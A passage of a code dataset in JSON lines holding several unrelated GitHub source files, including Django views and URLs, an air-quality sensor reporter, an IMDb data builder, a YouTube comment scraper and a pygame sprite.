48, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 76, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 79, "usage_type": "call"}]} {"seq_id": "3107613660", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('login/', views.LoginApiVew.as_view(), name='login'),\n path('refresh/', views.RefreshApiView.as_view(), name='refresh'),\n path('employee-create/', views.CreateEmployeeApiView.as_view(), name='employee-create'),\n path('employee-list/', views.EmployeeListApiView.as_view(), name='employee-list'),\n path('delete-employee//', views.DeleteEmployeeApiView.as_view(), name='delete-employee'),\n path('hold-employee//', views.HoldEmployeeApiView.as_view(), name='hold-employee'),\n path('employee-detail//', views.EmployeeDetailApiView.as_view(), name='employee-detail'),\n path('profile//', views.ProfileApiView.as_view(), name='profile'),\n]\n", "repo_name": "Shajjadur-Rahman/ClothShopManagement-server-side", "sub_path": "account/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 760, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]} {"seq_id": "8028938916", "text": "import opc\nfrom time import sleep\n\nimport usbiss\nimport opc\nimport logging\nimport sys\nfrom influxdb import InfluxDBClient\nimport paho.mqtt.client as mqtt\nimport collections\nimport serial\nimport time\nimport threading as thread\nfrom os import path\nimport configparser\nfrom datetime import datetime\nfrom urllib import request\n\n'''''''''''''''''''''\n VARIABLE DEFINITIONS\n'''''''''''''''''''''\n# Sampling period in s\nSAMPLING_PERIOD = 1 \n\ndb_point_index = 0\n\ndb_data_mutex = thread.Lock()\nwu_get_mutex = thread.Lock()\n\nalphasense = None \nmqtt_client = None\ndb_client = None\n\njson_body = []\npending_wu_get = []\n\nPRIMARY_WINDOW_LENGTH = 15\nSEC_WINDOW_LENGTH = 7\nfilter_windows = {}\n\npublisher_th_stop = False\n\nopc_config = {}\n\n'''''''''''''''''''''\n METHODS\n'''''''''''''''''''''\ndef read_config():\n global opc_config \n \n # read configuration file\n CONFIG_FILE = 'air_sensor_reporter.cfg'\n config = configparser.ConfigParser()\n config_file = config.read(CONFIG_FILE)\n \n if len(config_file) == 0 :\n raise Exception(\"A config file {} must be present\".format(CONFIG_FILE)) \n else :\n try :\n opc_config['mqtt_server_ip'] = config.get('mqtt_config', 'broker_ip')\n opc_config['mqtt_port'] = int(config.get('mqtt_config', 'port'))\n opc_config['mqtt_pm1_topic'] = config.get('mqtt_config', 'pm1_topic')\n opc_config['mqtt_pm2dot5_topic'] = config.get('mqtt_config', 'pm2dot5_topic')\n opc_config['mqtt_pm10_topic'] = config.get('mqtt_config', 'pm10_topic')\n\n opc_config['db_ip'] = config.get('influxdb_config', 'ip')\n opc_config['db_port'] = int(config.get('influxdb_config', 'port'))\n opc_config['db_name'] = config.get('influxdb_config', 'db_name')\n opc_config['db_id'] = config.get('influxdb_config', 'db_id')\n opc_config['db_pass'] = config.get('influxdb_config', 'db_pass')\n\n opc_config['pws_id'] = config.get('wu_config', 'station_id')\n opc_config['pws_pass'] = config.get('wu_config', 'station_pass')\n \n except configparser.NoOptionError as e:\n logging.error('Some fields missing in configuration file {}'.format(e))\n raise e \n\n\ndef configure_logger() :\n # Use root logger \n hdlr = logging.StreamHandler(sys.stdout)\n formatter = logging.Formatter('%(asctime)s %(filename)s %(message)s')\n hdlr.setFormatter(formatter)\n logging.getLogger().addHandler(hdlr) \n logging.getLogger().setLevel(logging.DEBUG) \n\n # Disable requests logs\n logging.getLogger(\"requests\").setLevel(logging.WARNING)\n\n\ndef add_window_filter(meas_name, threshold):\n filter_windows[meas_name] = []\n # Primary window \n filter_windows[meas_name].append(collections.deque(maxlen=PRIMARY_WINDOW_LENGTH))\n # Secondary window \n filter_windows[meas_name].append(collections.deque(maxlen=SEC_WINDOW_LENGTH))\n # Threshold on data \n filter_windows[meas_name].append(threshold)\n # Current filtered value \n filter_windows[meas_name].append(0.0)\n # TODO send measures in a separate thread \n\n\ndef reset_window(meas_name):\n # Primary window \n filter_windows[meas_name][0].clear()\n # Secondary window \n filter_windows[meas_name][1].clear()\n \n \ndef wu_post(pm2dot5, pm10):\n BASEURL_WU=\"http://weatherstation.wunderground.com/weatherstation/updateweatherstation.php\"\n WU_URL_DATA_SUFFIX=\"?ID=$WU_PWS_ID&PASSWORD=$WU_PWD&{}&AqPM2.5={}&AqPM10={}&action=updateraw\"\n \n url_data_suffix = WU_URL_DATA_SUFFIX.format(opc_config['pws_id'], opc_config['pws_pass'], datetime.utcnow().strftime('%Y-%m-%d+%H%%3A%M%%3A%S'), pm2dot5, pm10)\n \n # do request in a separate thread \n with wu_get_mutex : \n pending_wu_get.append('{}{}'.format(BASEURL_WU, url_data_suffix)) \n\n\ndef get_filtered_value(meas_name, new_val):\n # is window full?\n if len(filter_windows[meas_name][0]) < PRIMARY_WINDOW_LENGTH :\n filter_windows[meas_name][0].append(new_val)\n else : # window full\n # large variation in input \n if abs(new_val - filter_windows[meas_name][3]) > filter_windows[meas_name][2] :\n logging.debug('{} - {} above threshold'.format(new_val, meas_name))\n # is secondary window full ?\n if len(filter_windows[meas_name][1]) == SEC_WINDOW_LENGTH :\n logging.debug('{} window full {}'.format(meas_name, filter_windows[meas_name][1])) \n # variation is not a noise, include it\n for val in filter_windows[meas_name][1] :\n filter_windows[meas_name][0].append(val)\n \n filter_windows[meas_name][0].append(new_val)\n # free secondary window\n filter_windows[meas_name][1].clear() \n \n else : # not sure if it is noise\n logging.debug('{} - {} added to secondary window'.format(new_val, meas_name))\n filter_windows[meas_name][1].append(new_val)\n \n else: # Add current meas to primary window \n filter_windows[meas_name][0].append(new_val)\n # free secondary window\n if len(filter_windows[meas_name][1]) > 0 :\n logging.debug('{} - {} filter : excluding noise : {}'.format(new_val, meas_name, filter_windows[meas_name][1]))\n filter_windows[meas_name][1].clear() \n\n # compute moving average \n total = 0\n for val in filter_windows[meas_name][0] :\n total += val\n \n filter_windows[meas_name][3] = total/len(filter_windows[meas_name][0])\n return filter_windows[meas_name][3] \n \n\ndef publisher_loop():\n global db_point_index, json_body\n \n while not publisher_th_stop :\n # Send date to DB \n if len(json_body) > 0 : \n with db_data_mutex :\n json_body_copy = json_body[:] \n db_point_index = 0 \n json_body.clear()\n db_client.write_points(json_body_copy) \n \n # Send data to WU \n if len(pending_wu_get):\n with wu_get_mutex :\n pending_wu_get_copy = pending_wu_get[:] \n pending_wu_get.clear() \n \n for req in pending_wu_get_copy :\n try : \n request.urlopen(req).read()\n except Exception as e :\n logging.error('could not publish data to WU - {}'.format(e))\n pass\n \n else :\n time.sleep(1)\n \n\ndef connect_mqtt() :\n global mqtt_client \n \n try :\n mqtt_client = mqtt.Client()\n mqtt_client.connect_async(opc_config['mqtt_server_ip'], opc_config['mqtt_port'], 60) \n \n mqtt_client.loop_start()\n \n except Exception as e :\n logging.debug(\"Cannot connect MQTT server - \" + str(e))\n if mqtt_client : \n mqtt_client.loop_stop()\n mqtt_client = None\n\n\ndef add_meas_to_db(meas_name, tc, pm, raw_meas):\n global db_point_index, json_body\n \n raw_suffix = ''\n if raw_meas :\n raw_suffix = '_raw'\n \n with db_data_mutex :\n json_body.append({}) \n json_body[db_point_index]['fields'] = {}\n json_body[db_point_index]['measurement'] = 'opc_n2_{}{}'.format(meas_name, raw_suffix) \n json_body[db_point_index]['fields']['value'] = pm\n json_body[db_point_index]['time'] = tc\n db_point_index += 1 \n \n\ndef main(argv = None) :\n global db_client, mqtt_client, alphasense \n \n above_pm1_thresold = False\n above_pm2dot5_thresold = False\n above_pm10_thresold = False\n \n configure_logger() \n read_config()\n logging.info('start air sensor reporter using alphasense opc n2')\n \n USB_SPI_PATH = '/dev/ttyACM0' \n if not path.exists(USB_SPI_PATH):\n logging.error('{} does not exist'.format(USB_SPI_PATH))\n sys.exit(1) \n \n try : \n nb_serial_attempt = 10 \n while True :\n try :\n # Open a SPI connection\n spi = usbiss.USBISS(USB_SPI_PATH, 'spi', spi_mode = 2, freq = 500000)\n time.sleep(1.0) \n break \n except serial.serialutil.SerialException as e :\n nb_serial_attempt -= 1\n if nb_serial_attempt == 0 :\n sys.exit(1) \n else : \n logging.error('could not connect to {}'.format(USB_SPI_PATH)) \n time.sleep(1.0)\n\n connect_mqtt()\n \n db_client = InfluxDBClient(opc_config['db_ip'], opc_config['db_port'], opc_config['db_id'], opc_config['db_pass'], opc_config['db_name'])\n db_client.create_database(opc_config['db_name'])\n \n nb_opc_conn_attempt = 10 \n while True : \n try: \n alphasense = opc.OPCN2(spi)\n break \n except Exception as e: \n nb_opc_conn_attempt -= 1 \n if nb_opc_conn_attempt == 0 :\n raise\n else:\n logging.error('cannot connect opc sensor from spi - {}'.format(e)) \n time.sleep(2.0) \n\n # Turn the opc ON\n alphasense.on()\n sleep(0.5)\n\n logging.info('alphasense actual config:\\n{}'.format(alphasense.config2()))\n\n # Read the information string\n logging.info(alphasense.read_info_string())\n sleep(0.5)\n\n add_window_filter('PM1', 3) \n add_window_filter('PM2.5', 3) \n add_window_filter('PM10', 6) \n \n # push data to db in a separate thread \n db_th = thread.Thread(target=publisher_loop) \n db_th.daemon = True \n db_th.start()\n \n # Read the histogram\n while True :\n pms = alphasense.pm()\n \n pm1 = get_filtered_value('PM1', pms['PM1'])\n pm2dot5 = get_filtered_value('PM2.5', pms['PM2.5'])\n pm10 = get_filtered_value('PM10', pms['PM10'])\n \n logging.info('Raw meas : PM1 = {:.2f}µg/m3 PM2.5 = {:.2f}µg/m3 PM10 = {:.2f}µg/m3'.format(pms['PM1'], pms['PM2.5'], pms['PM10'])) \n logging.info('Filtered meas : PM1 = {:.2f}µg/m3 PM2.5 = {:.2f}µg/m3 PM10 = {:.2f}µg/m3'.format(pm1, pm2dot5, pm10)) \n \n meas_tc = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ') \n \n # Add filtered measures to DB \n add_meas_to_db('pm1' , meas_tc, pm1 , False)\n add_meas_to_db('pm2.5' , meas_tc, pm2dot5 , False)\n add_meas_to_db('pm10' , meas_tc, pm10 , False)\n \n # Add raw measures to DB\n add_meas_to_db('pm1' , meas_tc, pms['PM1'] , True)\n add_meas_to_db('pm2.5' , meas_tc, pms['PM2.5'] , True)\n add_meas_to_db('pm10' , meas_tc, pms['PM10'] , True)\n \n # Add data to Weather Underground \n wu_post(pm2dot5, pm10)\n\n # Publish data over MQTT\n mqtt_client.publish(opc_config['mqtt_pm1_topic'] , pm1)\n mqtt_client.publish(opc_config['mqtt_pm2dot5_topic'] , pm2dot5)\n mqtt_client.publish(opc_config['mqtt_pm10_topic'] , pm10)\n \n sleep(SAMPLING_PERIOD) \n\n except KeyboardInterrupt :\n pass\n\n finally:\n logging.debug('closing air sensor reporter') \n if alphasense is not None: \n # Turn the opc OFF\n alphasense.off()\n if mqtt_client : \n mqtt_client.disconnect() \n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n\n", "repo_name": "Lahorde/air_sensor_reporter", "sub_path": "air_sensor_reporter.py", "file_name": "air_sensor_reporter.py", "file_ext": "py", "file_size_in_byte": 11738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "threading.Lock", "line_number": 27, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 28, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 53, "usage_type": "call"}, {"api_name": "configparser.NoOptionError", "line_number": 75, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 82, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 82, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 85, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 86, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 89, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 89, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 95, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 97, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 130, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 133, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 143, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 150, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 182, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 182, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 184, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 188, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 195, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 195, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 201, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path", "line_number": 235, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 236, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 237, "usage_type": "call"}, {"api_name": "usbiss.USBISS", "line_number": 244, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 245, "usage_type": "call"}, {"api_name": "serial.serialutil", "line_number": 247, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 250, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 252, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 253, "usage_type": "call"}, {"api_name": "influxdb.InfluxDBClient", "line_number": 257, "usage_type": "call"}, {"api_name": "opc.OPCN2", "line_number": 263, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 270, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 271, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 275, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 277, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 280, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 281, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 288, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 300, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 301, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 303, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 303, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 323, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 329, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 338, "usage_type": "call"}]} {"seq_id": "6829527097", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 2 23:02:36 2022\n\n@author: adamwasserman\n\nThe purpose of this file is to create a data set from the top 250 TV shows and Movies that I\ndownload from the internet using the IMDb Python API\n\"\"\"\n\nimport imdb\nimport csv\n\ndef createDataSet():\n ia = imdb.Cinemagoer()\n \n with open(\"data/topmoviesNshows.csv\",'w') as open_file:\n writer = csv.writer(open_file)\n mov_list = ia.get_top250_movies()\n counter = 0\n for movie in mov_list:\n ia.update(movie)\n actors = [person.personID for person in movie['cast']]\n writer.writerow([movie.movieID] + actors)\n counter +=1\n print(f\"Processed {counter} movie\")\n \n mov_list = ia.get_top250_tv()\n for movie in mov_list:\n ia.update(movie)\n actors = [person.personID for person in movie['cast']]\n writer.writerow([movie.movieID] + actors)\n counter +=1\n print(f\"Processed {counter} movie\")\n open_file.close()\n \ndef createIMDBkeys():\n ia = imdb.Cinemagoer()\n movie_ids = []\n \n with open(\"data/actor_keys.csv\",'w') as open_file:\n writer = csv.writer(open_file)\n mov_list = ia.get_top250_movies()\n counter = 0\n for movie in mov_list:\n ia.update(movie)\n movie_ids.append([movie.movieID,movie['title']])\n for actor in movie['cast']:\n writer.writerow([actor.personID,actor['name']])\n counter += 1\n if counter % 5 == 0:\n print(counter)\n mov_list = ia.get_top250_tv()\n for movie in mov_list:\n ia.update(movie)\n movie_ids.append([movie.movieID,movie['title']])\n for actor in movie['cast']:\n writer.writerow([actor.personID,actor['name']])\n counter += 1\n if counter % 5 == 0:\n print(counter)\n \n open_file.close()\n \n with open(\"data/movie_keys.csv\", 'w') as open_file:\n writer = csv.writer(open_file)\n for movie in movie_ids:\n writer.writerow(movie)\n open_file.close()\n \ndef purgeRepeats():\n with open(\"data/actor_keys.csv\",\"r\") as read_file, open('data/_actor_keys.csv', 'w') as write_file:\n reader = csv.reader(read_file)\n writer = csv.writer(write_file)\n seen_actors = set()\n for _id, name in reader:\n if _id in seen_actors:\n continue\n seen_actors.add(_id)\n writer.writerow([_id,name])\n read_file.close()\n write_file.close()\n \n ", "repo_name": "adam-wasserman/Degrees_of_Separation", "sub_path": "createTopData.py", "file_name": "createTopData.py", "file_ext": "py", "file_size_in_byte": 2672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "imdb.Cinemagoer", "line_number": 16, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 19, "usage_type": "call"}, {"api_name": "imdb.Cinemagoer", "line_number": 39, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 43, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 67, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 74, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 75, "usage_type": "call"}]} {"seq_id": "72685237344", "text": "from typing import List\n\n\nclass Solution:\n def findKthPositive(self, arr: List[int], k: int) -> int:\n j = 0\n for i in range(1, arr[-1] + k + 1):\n if j < len(arr) and i == arr[j]:\n # print('match', i, k)\n j += 1\n else:\n # print('missing', i, k)\n k -= 1\n if k == 0:\n return i\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/Array/KthMissingPositiveNumber/Naive2_1539.py", "file_name": "Naive2_1539.py", "file_ext": "py", "file_size_in_byte": 399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]} {"seq_id": "38132594565", "text": "'''Utilities for the project.'''\nimport html\nimport re\n\nfrom datetime import datetime\n\n\ndef clean_enclosed_dictionaries(data: dict) -> dict:\n '''Recoursively clean dictionary of html symbols like  '''\n for key, value in data.items():\n if isinstance(value, dict):\n clean_enclosed_dictionaries(value)\n elif isinstance(value, str):\n value = html.unescape(value)\n data[key] = value\n return data\n\n\ndef extract_date(data: dict) -> str:\n '''Extract date'''\n pattern = r\"((?:January|February|March|April|May|June|July|August|September|October|November|December)\\s+\\d{1,2},\\s+\\d{4})\"\n\n text = data['dayHead']\n match = re.search(pattern, text)\n\n if match:\n received_date_format = \"%B %d, %Y\"\n received_date = datetime.strptime(match.group(1), received_date_format).date()\n return received_date.strftime(\"%Y-%m-%d\")\n\n return ''\n", "repo_name": "breduin/sumo", "sub_path": "sw/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "html.unescape", "line_number": 14, "usage_type": "call"}, {"api_name": "re.search", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}]} {"seq_id": "39278214453", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as expect\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport os\nimport csv\nfrom bs4 import BeautifulSoup\nfrom random import randint\nfrom datetime import date\n\ndriver = webdriver.Chrome()\ndriver.maximize_window()\ndia = date.today()\n\ndef delay(n):\n time.sleep(randint(2, n))\n\ndef buscarFundo(fundo):\n # faz a pesquisa da palavra chave\n driver.get(f'https://www.youtube.com/results?search_query={fundo}')\n\ndef rolarPagina(vezes):\n # rola um numero de vezes para carregar comentarios\n for i in range(vezes):\n driver.execute_script(\"window.scrollBy(0, 800);\")\n delay(5)\n\ndef filtrarComentarios(fundo):\n qtCmtNv = 1 # quantidade de comentarios novos\n qtCmtAt = 0 # quantidade de comentarios antigos\n comentarios = []\n while(qtCmtNv > qtCmtAt):\n for k in range(2):\n rolarPagina(2)\n html = driver.page_source\n soup = BeautifulSoup(html, \"html.parser\")\n comentarios = soup.find_all(id='content-text')\n if k == 0:\n qtCmtAt = len(comentarios)\n if k == 1:\n qtCmtNv = len(comentarios)\n \n # extrai somente o texto das tags\n texto = []\n for c in comentarios:\n texto.append(c.text)\n\n # salvar no arquivo\n comentariosFiltrados = open(f\"comentarios_{fundo}_{dia}.txt\", \"a\")\n for t in texto:\n comentariosFiltrados.write(t+\"\\n\")\n\n # fecha o arquivo\n comentariosFiltrados.close()\n\ndef salvarLinks():\n filename = open(\"fundosListados.csv\", \"r\")\n arquivo = csv.DictReader(filename)\n fundos = []\n for coluna in arquivo:\n fundos.append(coluna[\"codigo\"])\n\n links = []\n # faz a pesquisa da palavra chave e salva os links dos videos\n for f in fundos:\n buscarFundo(f)\n rolarPagina(3)\n html = driver.page_source\n soup = BeautifulSoup(html, \"html.parser\")\n videos = soup.find_all(id=\"video-title\")\n atual = {}\n linksFundo = []\n\n for v in videos:\n linksFundo.append(v[\"href\"])\n\n atual[f] = linksFundo\n links.append(atual)\n\n return links\n\ndef buscarComentarios(links):\n # faz a pesquisa pelos links e filtra os comentarios\n for l in links:\n for key, value in l.items():\n print(key, value)\n for each in value:\n driver.get(f\"https://youtube.com{each}\")\n filtrarComentarios(key)\n\ndef main():\n #buscarComentarios(salvarLinks())\n buscarComentarios([{\"MXRF11\": [\"/watch?v=qVWwUIOU7go\"]}])\n\nmain()\n\ndriver.quit()\n", "repo_name": "rodrigueslazaro/sentifii", "sub_path": "coletarComentarios.py", "file_name": "coletarComentarios.py", "file_ext": "py", "file_size_in_byte": 2747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 15, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 38, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 60, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 71, "usage_type": "call"}]} {"seq_id": "33233327012", "text": "from typing import List\nfrom django.http import HttpResponse\nfrom django.shortcuts import render,redirect\nfrom book.forms import BookStoreForm\nfrom book.models import BookStoreModel\nfrom django.views.generic import TemplateView,ListView,DetailView\nfrom django.views.generic.edit import FormView,CreateView,UpdateView,DeleteView\nfrom django.urls import reverse_lazy\n# Create your views here.\n\n\n#function based view\n#def home(request):\n #return render(request,'store_book.html')\n\n\n#class based view\nclass MytemplateView(TemplateView):\n template_name='home.html'\n def get_context_data(self,**kwargs):\n context=super().get_context_data(**kwargs)\n context={'name':'rahim','age':21}\n context.update(kwargs)\n print(context)\n return context\n\n\"\"\" def store_book(request):\n if(request.method=='POST'):\n book=BookStoreForm(request.POST)\n if book.is_valid():\n book.save()\n print(book.cleaned_data)\n return redirect('show_book')\n else:\n book=BookStoreForm()\n return render(request,'store_book.html',{'form':book}) \"\"\"\n\n\"\"\" class BookFormView(FormView):\n template_name='store_book.html'\n form_class=BookStoreForm\n context_object_name='data'\n #success_url=reverse_lazy('show_book')\n def form_valid(self, form):\n print(form.cleaned_data)\n form.save()\n return redirect('show_book') \"\"\"\n\nclass BookFormView(CreateView):\n model=BookStoreModel\n template_name='store_book.html'\n form_class=BookStoreForm\n context_object_name='data'\n success_url=reverse_lazy('show_book')\n \n\n#def show_books(request):\n# book=BookStoreModel.objects.all()\n# print(book)\n# return render(request,'show_book.html',{'data':book})\n\n#class based view:::::::::\n\nclass BooklistView(ListView):\n model=BookStoreModel\n template_name='show_book.html'\n context_object_name='data'\n #ordering=['-id']#reverse order show\n \"\"\" def get_template_names(self): # template ke override korbe\n if self.request.user.is_superuser:\n template_name='' \"\"\"\n #for sorting\n #def get_queryset(self):\n # return BookStoreModel.objects.filter(author=\"ABC\")\n\"\"\" def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context={'JK':BookStoreModel.objects.all().order_by('author')} \n return context \"\"\"\nclass BookDetailsView(DetailView):\n model=BookStoreModel\n template_name='book_details.html'\n context_object_name='item'\n pk_url_kwarg='id'\n \n \n \n\n\n\"\"\" def edit_book(request,id):\n book =BookStoreModel.objects.get(pk=id)\n form=BookStoreForm(instance=book)\n if(request.method=='POST'):\n form=BookStoreForm(request.POST,instance=book)\n if form.is_valid():\n form.save()\n return redirect('show_book')\n return render(request,'store_book.html',{'form':form}) \"\"\"\n\nclass BookUpdateView(UpdateView):\n model=BookStoreModel\n template_name='store_book.html'\n form_class=BookStoreForm\n context_object_name='data'\n success_url=reverse_lazy('show_book')\n \n\n\"\"\" def delete_book(request,id):\n book=BookStoreModel.objects.get(pk=id).delete()\n return redirect('show_book') \"\"\"\n\n\nclass DeleteBookView(DeleteView):\n model=BookStoreModel\n template_name='delete_confirmation.html'\n success_url=reverse_lazy('show_book')\n \n", "repo_name": "asadaladil/DJANGO", "sub_path": "book_store/book/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.generic.TemplateView", "line_number": 18, "usage_type": "name"}, {"api_name": "django.views.generic.edit.CreateView", "line_number": 48, "usage_type": "name"}, {"api_name": "book.models.BookStoreModel", "line_number": 49, "usage_type": "name"}, {"api_name": "book.forms.BookStoreForm", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 53, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 63, "usage_type": "name"}, {"api_name": "book.models.BookStoreModel", "line_number": 64, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 78, "usage_type": "name"}, {"api_name": "book.models.BookStoreModel", "line_number": 79, "usage_type": "name"}, {"api_name": "django.views.generic.edit.UpdateView", "line_number": 98, "usage_type": "name"}, {"api_name": "book.models.BookStoreModel", "line_number": 99, "usage_type": "name"}, {"api_name": "book.forms.BookStoreForm", "line_number": 101, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 103, "usage_type": "call"}, {"api_name": "django.views.generic.edit.DeleteView", "line_number": 111, "usage_type": "name"}, {"api_name": "book.models.BookStoreModel", "line_number": 112, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 114, "usage_type": "call"}]} {"seq_id": "42514314048", "text": "import pygame\nfrom pygame.sprite import Sprite\n\n\nclass Bullet(Sprite):\n\n def __init__(self, ai_settings, screen, ship):\n \"\"\"Создает объект пули в текущей позиции корабля.\"\"\"\n super(Bullet, self).__init__()\n self.screen = screen\n # Создание пули в позиции (0,0) и назначение правильной позиции.\n self.rect = pygame.Rect(0, 0, ai_settings.bullet_width, ai_settings.bullet_height)\n self.rect.centerx = ship.rect.centerx\n self.rect.top = ship.rect.top\n # Позиция пули хранится в вещественном формате.\n self.y = float(self.rect.y)\n self.color = ai_settings.bullet_color\n self.speed_factor = ai_settings.bullet_speed_factor\n\n def update(self):\n self.y -= self.speed_factor\n self.rect.y = self.y\n\n def draw_bullet(self):\n pygame.draw.rect(self.screen, self.color, self.rect)\n", "repo_name": "severovlink/PythonPyGame", "sub_path": "AlienInvasion/bullet.py", "file_name": "bullet.py", "file_ext": "py", "file_size_in_byte": 1001, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.sprite.Sprite", "line_number": 5, "usage_type": "name"}, {"api_name": "pygame.Rect", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "41073149149", "text": "from . import peripheral_server\nfrom collections import deque, defaultdict\nimport logging\nlog = logging.getLogger(__name__)\n# log.setLevel(logging.DEBUG)\n\n\n# Register the pub/sub calls and methods that need mapped\n@peripheral_server.peripheral_model\nclass Interrupts(object):\n '''\n Models and external interrupt controller\n Use when need to trigger and interrupt and need additional state\n about it\n '''\n active = defaultdict(bool)\n enabled = defaultdict(bool)\n\n @classmethod\n @peripheral_server.reg_rx_handler\n def interrupt_request(cls, msg):\n \n if 'num' in msg and msg['num'] in cls._irq_map_i2n:\n irq_num = msg['num']\n else:\n log.error(\"Unsupported IRQ 